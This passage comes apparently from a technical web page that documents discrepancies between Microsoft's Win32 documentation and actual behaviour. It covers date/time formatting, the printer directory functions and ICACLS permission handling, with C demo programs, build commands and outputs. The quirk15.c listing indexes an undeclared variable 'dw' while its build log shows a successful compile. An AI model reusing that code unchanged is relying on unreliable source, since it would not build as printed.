    			PrintConsole(hConsole,
    			             L"GetTimeFormat() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			nSize = wcslen(szTime);
    
    			if (nSize != nTime)
    				PrintConsole(hConsole,
    				             L"GetTimeFormat() returned time \'%ls\' of %lu characters, but real string length is %lu characters\n",
    				             szTime, nTime, nSize);
    		}
    
    		nSize = GetDateFormatEx(LOCALE_NAME_INVARIANT,
    		                        DATE_LONGDATE,
    		                        &st,
    		                        (LPCWSTR) NULL,
    		                        (LPWSTR) NULL,
    		                        0,
    		                        (LPCWSTR) NULL);
    
    		if (nSize == 0)
    			PrintConsole(hConsole,
    			             L"GetDateFormatEx() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			lpDate = LocalAlloc(LPTR, nSize * sizeof(*lpDate));
    
    			if (lpDate == NULL)
    				PrintConsole(hConsole,
    				             L"LocalAlloc() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				nDate = GetDateFormatEx(LOCALE_NAME_INVARIANT,
    				                        DATE_LONGDATE,
    				                        &st,
    				                        (LPCWSTR) NULL,
    				                        lpDate,
    				                        nSize,
    				                        (LPCWSTR) NULL);
    
    				if (nDate == 0)
    					PrintConsole(hConsole,
    					             L"GetDateFormatEx() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					if (nDate != nSize - 1)
    						PrintConsole(hConsole,
    						             L"GetDateFormatEx() returned date \'%ls\' of %lu characters, but real string length is %lu characters\n",
    						             lpDate, nDate, wcslen(lpDate));
    
    				if (LocalFree(lpDate) != NULL)
    					PrintConsole(hConsole,
    					             L"LocalFree() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    		}
    
    		nSize = GetTimeFormatEx(LOCALE_NAME_INVARIANT,
    		                        TIME_FORCE24HOURFORMAT,
    		                        &st,
    		                        (LPCWSTR) NULL,
    		                        (LPWSTR) NULL,
    		                        0);
    
    		if (nSize == 0)
    			PrintConsole(hConsole,
    			             L"GetTimeFormatEx() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			lpTime = LocalAlloc(LPTR, nSize * sizeof(*lpTime));
    
    			if (lpTime == NULL)
    				PrintConsole(hConsole,
    				             L"LocalAlloc() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				nTime = GetTimeFormatEx(LOCALE_NAME_INVARIANT,
    				                        TIME_FORCE24HOURFORMAT,
    				                        &st,
    				                        (LPCWSTR) NULL,
    				                        lpTime,
    				                        nSize);
    
    				if (nTime == 0)
    					PrintConsole(hConsole,
    					             L"GetTimeFormatEx() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					if (nTime != nSize - 1)
    						PrintConsole(hConsole,
    						             L"GetTimeFormatEx() returned time \'%ls\' of %lu characters, but real string length is %lu characters\n",
    						             lpTime, nTime, wcslen(lpTime));
    
    				if (LocalFree(lpTime) != NULL)
    					PrintConsole(hConsole,
    					             L"LocalFree() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk14.exe from the source file quirk14.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk14.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk14.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk14.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk14.exe
    quirk14.obj
  3. Execute the console application quirk14.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk14.exe
    GetDateFormat() returned date '08/15/2020' of 11 characters, but real string length is 10 characters
    GetTimeFormat() returned time '12:34:56' of 9 characters, but real string length is 8 characters
    GetDateFormatEx() returned date 'Saturday, 15 August 2020' of 25 characters, but real string length is 24 characters
    GetTimeFormatEx() returned time '12:34:56' of 9 characters, but real string length is 8 characters
Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Note: the evaluation of the (mis)behaviour with the Win32 functions GetCalendarInfo(), GetCalendarInfoEx(), GetCurrencyFormat(), GetCurrencyFormatEx(), GetLocaleInfo(), GetLocaleInfoEx(), GetNumberFormat() and GetNumberFormatEx() is left as an exercise to the reader.

Quirk № 15

The Win32 functions GetDefaultPrinter(), GetPrinterDriverDirectory() and GetPrintProcessorDirectory() are documented in the MSDN as follows:
BOOL GetDefaultPrinter(
  LPTSTR  pszBuffer,
  LPDWORD pcchBuffer
);
[…]
pszBuffer
A pointer to a buffer that receives a null-terminated character string containing the default printer name. If this parameter is NULL, the function fails and the variable pointed to by pcchBuffer returns the required buffer size, in characters.
[…]

If the function succeeds, the return value is a nonzero value and the variable pointed to by pcchBuffer contains the number of characters copied to the pszBuffer buffer, including the terminating null character.

If the function fails, the return value is zero.

Value Meaning
ERROR_INSUFFICIENT_BUFFER The pszBuffer buffer is too small. The variable pointed to by pcchBuffer contains the required buffer size, in characters.
ERROR_FILE_NOT_FOUND There is no default printer.
Oops: the documentation does not state explicitly that extended error information is available through a call of the GetLastError() function!
BOOL GetPrinterDriverDirectory(
  LPTSTR  pName,
  LPTSTR  pEnvironment,
  DWORD   Level,
  LPBYTE  pDriverDirectory,
  DWORD   cbBuf,
  LPDWORD pcbNeeded
);
[…]
pEnvironment
A pointer to a null-terminated string that specifies the environment (for example, Windows x86, Windows IA64, or Windows x64). If this parameter is NULL, the current environment of the calling application and client machine (not of the destination application and print server) is used.
pcbNeeded
A pointer to a value that specifies the number of bytes copied if the function succeeds, or the number of bytes required if cbBuf is too small.
[…]

If the function succeeds, the return value is a nonzero value.

If the function fails, the return value is zero.

[…]

Requirement Value
[…]
Unicode and ANSI names GetPrinterDriverDirectoryW (Unicode) and GetPrinterDriverDirectoryA (ANSI)
Ouch: although the Win32 function GetPrinterDriverDirectory() is provided for Unicode and ANSI, its output buffer is declared as array of bytes instead array of characters, and the size is counted in bytes instead characters!
BOOL GetPrintProcessorDirectory(
  LPTSTR  pName,
  LPTSTR  pEnvironment,
  DWORD   Level,
  LPBYTE  pPrintProcessorInfo,
  DWORD   cbBuf,
  LPDWORD pcbNeeded
);
[…]
pEnvironment
A pointer to a null-terminated string that specifies the environment (for example, Windows x86, Windows IA64, or Windows x64). If this parameter is NULL, the current environment of the calling application and client machine (not of the destination application and print server) is used.
pcbNeeded
A pointer to a value that specifies the number of bytes copied if the function succeeds, or the number of bytes required if cbBuf is too small.
[…]

If the function succeeds, the return value is a nonzero value.

If the function fails, the return value is zero.

[…]

Requirement Value
[…]
Unicode and ANSI names GetPrintProcessorDirectoryW (Unicode) and GetPrintProcessorDirectoryA (ANSI)
Ouch: although the Win32 function GetPrintProcessorDirectory() is provided for Unicode and ANSI, its output buffer is declared as array of bytes instead array of characters, and the size is counted in bytes instead characters!

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk15.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <winspool.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    const	LPCWSTR	lpEnvironment[] = {L"", L"Windows 4.0", L"Windows NT x86", L"Windows IA64", L"Windows x64", L"Windows x86"};
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer = sizeof(szBuffer) / sizeof(*szBuffer);
    	DWORD	dwEnvironment = 0;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!GetDefaultPrinter(szBuffer, &dwBuffer))
    			PrintConsole(hConsole,
    			             L"GetDefaultPrinter() returned error %lu (%lu)\n",
    			             dwError = GetLastError(), dwBuffer);
    		else
    			PrintConsole(hConsole,
    			             L"GetDefaultPrinter() returned name \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    
    		if (!GetPrinterDriverDirectory((LPWSTR) NULL,
    		                               (LPWSTR) NULL,
    		                               1,
    		                               szBuffer,
    		                               0,
    		                               &dwBuffer))
    			PrintConsole(hConsole,
    			             L"GetPrinterDriverDirectory() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetPrinterDriverDirectory() returned pathname \'%ls\' of %lu bytes\n",
    			             szBuffer, dwBuffer);
    
    		do
    			if (!GetPrinterDriverDirectory((LPWSTR) NULL,
    			                               lpEnvironment[dw],
    			                               1,
    			                               szBuffer,
    			                               sizeof(szBuffer),
    			                               &dwBuffer))
    				PrintConsole(hConsole,
    				             L"GetPrinterDriverDirectory() returned error %lu for environment \'%ls\'\n",
    				             dwError = GetLastError(), lpEnvironment[dw]);
    			else
    				PrintConsole(hConsole,
    				             L"GetPrinterDriverDirectory() returned pathname \'%ls\' of %lu bytes for environment \'%ls\'\n",
    				             szBuffer, dwBuffer, lpEnvironment[dw]);
    		while (++dwEnvironment < sizeof(lpEnvironment) / sizeof(*lpEnvironment));
    
    		if (!GetPrintProcessorDirectory((LPWSTR) NULL,
    		                                (LPWSTR) NULL,
    		                                1,
    		                                NULL,
    		                                sizeof(szBuffer),
    		                                &dwBuffer))
    			PrintConsole(hConsole,
    			             L"GetPrintProcessorDirectory() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetPrintProcessorDirectory() returned pathname \'%ls\' of %lu bytes\n",
    			             szBuffer, dwBuffer);
    
    		dwEnvironment = 0;
    
    		do
    			if (!GetPrintProcessorDirectory((LPWSTR) NULL,
    			                                lpEnvironment[dw],
    			                                1,
    			                                szBuffer,
    			                                sizeof(szBuffer),
    			                                &dwBuffer))
    				PrintConsole(hConsole,
    				             L"GetPrintProcessorDirectory() returned error %lu for environment \'%ls\'\n",
    				             dwError = GetLastError(), lpEnvironment[dw]);
    			else
    				PrintConsole(hConsole,
    				             L"GetPrintProcessorDirectory() returned pathname \'%ls\' of %lu bytes for environment \'%ls\'\n",
    				             szBuffer, dwBuffer, lpEnvironment[dw]);
    		while (++dwEnvironment < sizeof(lpEnvironment) / sizeof(*lpEnvironment));
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk15.exe from the source file quirk15.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:WINSPOOL.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk15.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk15.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk15.c
    quirk15.c(60) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE'
    quirk15.c(75) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE'
    quirk15.c(104) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:WINSPOOL.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk15.exe
    quirk15.obj
  3. Execute the console application quirk15.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk15.exe
    NET.EXE HELPMSG %ERRORLEVEL%
    GetDefaultPrinter() returned name 'Microsoft XPS Document Writer' of 30 characters
    GetPrinterDriverDirectory() returned error 122
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment ''
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\WIN40' of 80 bytes for environment 'Windows 4.0'
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\W32X86' of 82 bytes for environment 'Windows NT x86'
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\IA64' of 78 bytes for environment 'Windows IA64'
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment 'Windows x64'
    GetPrinterDriverDirectory() returned error 1805 for environment 'Windows x86'
    GetPrintProcessorDirectory() returned error 1784
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment ''
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\WIN40' of 82 bytes for environment 'Windows 4.0'
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\W32X86' of 84 bytes for environment 'Windows NT x86'
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\IA64' of 80 bytes for environment 'Windows IA64'
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment 'Windows x64'
    GetPrintProcessorDirectory() returned error 1805 for environment 'Windows x86'
    
    The environment specified is invalid.
    Oops: contrary to their documentation cited above, the Win32 functions GetPrinterDriverDirectory() and GetPrintProcessorDirectory() return extended error information, for example the Win32 error code 122 alias ERROR_INSUFFICIENT_BUFFER, 1784 alias ERROR_INVALID_USER_BUFFER or 1805 alias ERROR_INVALID_ENVIRONMENT.

    Ouch: the environment Windows x86 specified in the documentation is invalid!

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 16

The TechNet articles How Security Descriptors and Access Control Lists Work and How Permissions Work provide a comprehensive and exhaustive explanation of Windows’ Access Control and its Access Control Components, while the MSDN article Access Control Lists provides an abstract:
An access control list (ACL) is a list of access control entries (ACE). Each ACE in an ACL identifies a trustee and specifies the access rights allowed, denied, or audited for that trustee. The security descriptor for a securable object can contain two types of ACLs: a DACL and a SACL.

A discretionary access control list (DACL) identifies the trustees that are allowed or denied access to a securable object. When a process tries to access a securable object, the system checks the ACEs in the object's DACL to determine whether to grant access to it. If the object does not have a DACL, the system grants full access to everyone. If the object's DACL has no ACEs, the system denies all attempts to access the object because the DACL does not allow any access rights. The system checks the ACEs in sequence until it finds one or more ACEs that allow all the requested access rights, or until any of the requested access rights are denied. […]

Note: no document denotes different access rights for deletion of directories than for deletion of files, which both are filesystem objects and children of a parent filesystem object, i.e. deletion should be governed by FILE_DELETE_CHILD of the parent (too)!

The TechNet article How Permissions Work specifies:

Folder permissions include Full Control, Modify, Read & Execute, List Folder Contents, Read, and Write. Each of these permissions consists of a logical group of special permissions that are listed and defined in the following table.

Permissions for Files and Folders

Permission Description
Delete Subfolders and Files Allows or denies deleting subfolders and files, even if the Delete permission has not been granted on the subfolder or file. (Applies to folders.)
Delete Allows or denies deleting the file or folder. If you do not have Delete permission on a file or folder, you can still delete it if you have been granted Delete Subfolders and Files on the parent folder.
[…]

You should also be aware of the following:

The MSDN article File Security and Access Rights but contradicts:
The valid access rights for files and directories include the DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER, and SYNCHRONIZE standard access rights.

[…]

By default, authorization for access to a file or directory is controlled strictly by the ACLs in the security descriptor associated with that file or directory. In particular, the security descriptor of a parent directory is not used to control access to any child file or directory.

The MSDN articles SACL Access Right and Requesting Access Rights to an Object specify:
The ACCESS_SYSTEM_SECURITY access right is not valid in a DACL because DACLs do not control access to a SACL.

Note

The MAXIMUM_ALLOWED constant cannot be used in an ACE.

Contrary to the last two (highlighted) statements, the documentation as well as the synopsis of Windows’ Icacls command line program but state:
Displays or modifies discretionary access control lists (DACLs) on specified files, and applies stored DACLs to files in specified directories.

[…]

icacls ‹FileName› [/grant[:r] ‹Sid›:‹Perm›[…]] [/deny ‹Sid›:‹Perm›[…]] [/remove[:g|:d]] ‹Sid›[…]] [/t] [/c] [/l] [/q] [/setintegritylevel ‹Level›:‹Policy›[…]]
[…]
Oops: the parameter /Inheritance:{E|D|R} is undocumented!

Demonstration

Start the Command Processor, then run the following command lines to prove the documentation cited above wrong, and also show some undocumented (mis)behaviour:
REM Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%TMP%"
COPY NUL: Quirk16f.tmp
ECHO Step 1: remove all inherited access permissions from file 'Quirk16f.tmp'
ICACLS.EXE Quirk16f.tmp /Inheritance:R
CACLS.EXE Quirk16f.tmp /S
ICACLS.EXE Quirk16f.tmp
ECHO Step 2: (attempt to) add inheritable access permissions to file 'Quirk16f.tmp'
ICACLS.EXE Quirk16f.tmp /Grant *S-1-3-3:(CI)(D) /Grant *S-1-3-2:(OI)(S) /Grant *S-1-3-1:(CI)(IO)(RC) /Grant *S-1-3-0:(OI)(IO)(WDAC)
CACLS.EXE Quirk16f.tmp /S
ICACLS.EXE Quirk16f.tmp
ECHO Step 3: add access permissions to file 'Quirk16f.tmp'
ICACLS.EXE Quirk16f.tmp /Deny *S-1-3-4:(AS) /Grant *S-1-3-4:(MA) /Grant *S-1-3-3:(D) /Grant *S-1-3-2:(RC) /Grant *S-1-3-1:(S) /Grant *S-1-3-0:(WDAC)
CACLS.EXE Quirk16f.tmp /S
ICACLS.EXE Quirk16f.tmp
ECHO Step 4: remove access permissions from file 'Quirk16f.tmp'
ICACLS.EXE Quirk16f.tmp /Remove:g "%USERNAME%" /Remove:g None
CACLS.EXE Quirk16f.tmp /S
ICACLS.EXE Quirk16f.tmp
ECHO Step 5: delete file 'Quirk16f.tmp'
ERASE Quirk16f.tmp
Note: the command lines can be copied and pasted as block into a Command Processor window!
        1 file(s) copied.
Step 1: remove all inherited access permissions from file 'Quirk16f.tmp'
processed file: Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI"

Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
Step 2: (attempt to) add inheritable access permissions to file 'Quirk16f.tmp'
processed file: Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI"

Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
Step 3: add access permissions to file 'Quirk16f.tmp'
processed file: Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI(D;;;;;OW)(A;;WD;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;RC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;0x110000;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;;;;OW)"

Quirk16f.tmp OWNER RIGHTS:(DENY)(S)
             AMNESIAC\Stefan:(WDAC)
             AMNESIAC\None:(S)
             AMNESIAC\Stefan:(Rc)
             AMNESIAC\None:(D)
             OWNER RIGHTS:

Successfully processed 1 files; Failed processing 0 files
Step 4: remove access permissions from file 'Quirk16f.tmp'
processed file: Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp

Access denied

Quirk16f.tmp: Access denied
Successfully processed 0 files; Failed processing 1 files
Step 5: delete file 'Quirk16f.tmp'
Note: ICACLs.exe does not add inheritable ACEs to files, but discards them silently, reporting success.

Ouch¹: ICACLs.exe converts its access permissions AS alias ACCESS_SYSTEM_SECURITY and MA alias MAXIMUM_ALLOWED to 0 alias NO_ACCESS!

Ouch²: ICACLs.exe converts its access permission D into the compound access mask SD alias STANDARD_DELETE plus SYNCHRONIZE, and displays this compound access mask 0x110000 as its access permission D too!

Note: ICACLs.exe converts the well-known SIDs S-1-3-0 alias CREATOR OWNER, S-1-3-1 alias CREATOR GROUP, S-1-3-2 alias CREATOR OWNER SERVER, and S-1-3-3 alias CREATOR GROUP SERVER into the object’s effective user and (primary) group SIDs.

Ouch³: ICACLs.exe displays the access mask 0 alias NO_ACCESS of the ACE (D;;;;;OW) as (S) alias SYNCHRONIZE!

Note: both ICACLs.exe and CACLs.exe fail (expected) when the ACE (D;;;;;OW) with access mask 0 alias NO_ACCESS is present in the DACL; it overrides the implicit RC alias READ_CONTROL and WDAC alias WRITE_DAC access rights granted to the object’s owner and has the same effect as the ACE (A;;;;;OW).

The TechNet article Security Identifiers Technical Overview specifies:

The following table lists the universal well-known SIDs.

Universal well-known SIDs

Value Universal Well-Known SID Identifies
[…]
S-1-3-4 Owner Rights A group that represents the current owner of the object. When an ACE that carries this SID is applied to an object, the system ignores the implicit READ_CONTROL and WRITE_DAC permissions for the object owner.

Demonstration (continued)

MKDIR Quirk16d.tmp
ECHO Step A: remove all inherited access permissions from directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Inheritance:R
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
ECHO Step B: add (inheritable) access permissions to directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Deny *S-1-3-4:(AS,MA) /Grant *S-1-3-3:(CI)(RC,WDAC) /Grant *S-1-3-2:(OI)(RD,WD) /Grant *S-1-3-1:(CI)(IO)(AS) /Grant *S-1-3-0:(OI)(IO)(MA)
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
ECHO Step C: (attempt to) delete directory 'Quirk16d.tmp'
RMDIR Quirk16d.tmp
ECHO Step D: remove all inheritable access permissions from directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Remove:g *S-1-3-3 /Remove:g *S-1-3-2 /Remove:g *S-1-3-1 /Remove:g *S-1-3-0
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
ECHO Step E: create file 'Quirk16d.tmp\Quirk16f.tmp'
COPY NUL: Quirk16d.tmp\Quirk16f.tmp
ECHO Step F: display access permissions of file 'Quirk16d.tmp\Quirk16f.tmp'
ICACLS.EXE Quirk16d.tmp\Quirk16f.tmp
CACLS.EXE Quirk16d.tmp\Quirk16f.tmp /S
ECHO Step G: (attempt to) delete file 'Quirk16d.tmp\Quirk16f.tmp'
ERASE Quirk16d.tmp\Quirk16f.tmp
ECHO Step H: add access permissions to directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Grant *S-1-3-1:(AD) /Grant *S-1-3-0:(S)
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
CACLS.EXE Quirk16d.tmp\Quirk16f.tmp /S
ECHO Step I: delete file 'Quirk16d.tmp\Quirk16f.tmp'
ERASE Quirk16d.tmp\Quirk16f.tmp
ECHO Step J: remove access permissions from directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Remove:g "%USERNAME%"
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
ECHO Step K: create subdirectory 'Quirk16d.tmp\Quirk16d.tmp'
MKDIR Quirk16d.tmp\Quirk16d.tmp
ECHO Step L: delete subdirectory 'Quirk16d.tmp\Quirk16d.tmp'
RMDIR Quirk16d.tmp\Quirk16d.tmp
ECHO Step M: (attempt to) delete directory 'Quirk16d.tmp'
RMDIR Quirk16d.tmp
ECHO Step N: modify access permissions of directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Grant *S-1-3-0:(S) /Remove:g None
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
ECHO Step O: delete directory 'Quirk16d.tmp'
RMDIR Quirk16d.tmp
Note: the command lines can be copied and pasted as block into a Command Processor window!
Step A: remove all inherited access permissions from directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI"

Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
Step B: add (inheritable) access permissions to directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;OIIO;0x2000000;;;CO)(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;OIIO;CCDC;;;S-1-3-2)(A;CIIO;0x1000000;;;CG)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)(A;CIIO;RCWD;;;S-1-3-3)"

Quirk16d.tmp OWNER RIGHTS:(DENY)(S)
             CREATOR OWNER:(OI)(IO)(MA)
             AMNESIAC\Stefan:(RD,WD)
             CREATOR OWNER SERVER:(OI)(IO)(RD,WD)
             CREATOR GROUP:(CI)(IO)(AS)
             AMNESIAC\None:(Rc,WDAC)
             CREATOR GROUP SERVER:(CI)(IO)(Rc,WDAC)

Successfully processed 1 files; Failed processing 0 files
Step C: (attempt to) delete directory 'Quirk16d.tmp'
Access denied
Step D: remove all inheritable access permissions from directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)"

Quirk16d.tmp AMNESIAC\Stefan:(RD,WD,AD)
             AMNESIAC\None:(Rc,WDAC)

Successfully processed 1 files; Failed processing 0 files
Step E: create file 'Quirk16d.tmp\Quirk16f.tmp'
        1 file(s) copied.
Step F: display access permissions of file 'Quirk16d.tmp\Quirk16f.tmp'
Quirk16d.tmp\Quirk16f.tmp AMNESIAC\Stefan:(F)
                          NT AUTHORITY\SYSTEM:(F)
                          The mapping between account names and security IDs was done.
(RX)

Successfully processed 1 files; Failed processing 0 files
Access denied
Step G: (attempt to) delete file 'Quirk16d.tmp\Quirk16f.tmp'
Could Not Find C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp\Quirk16f.tmp
Step H: add access permissions to directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;LC;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)"

Quirk16d.tmp OWNER RIGHTS:(DENY)(S)
             AMNESIAC\Stefan:(AD)
             AMNESIAC\None:(S)
             AMNESIAC\Stefan:(RD,WD)
             AMNESIAC\None:(Rc,WDAC)

Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp\Quirk16f.tmp "D:AI(A;;FA;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;FA;;;SY)(A;;0x1200a9;;;S-1-5-5-0-231840)"

Step I: delete file 'Quirk16d.tmp\Quirk16f.tmp'
Step J: remove access permissions from directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;;LC;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)"

Quirk16d.tmp OWNER RIGHTS:(DENY)(S)
             AMNESIAC\None:(S)
             AMNESIAC\None:(Rc,WDAC)

Successfully processed 1 files; Failed processing 0 files
Step K: create subdirectory 'Quirk16d.tmp\Quirk16d.tmp'
Step L: delete subdirectory 'Quirk16d.tmp\Quirk16d.tmp'
Step M: (attempt to) delete directory 'Quirk16d.tmp'
Access denied
Step N: modify access permissions of directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp

Access denied

Quirk16d.tmp: Access denied
Successfully processed 0 files; Failed processing 1 files
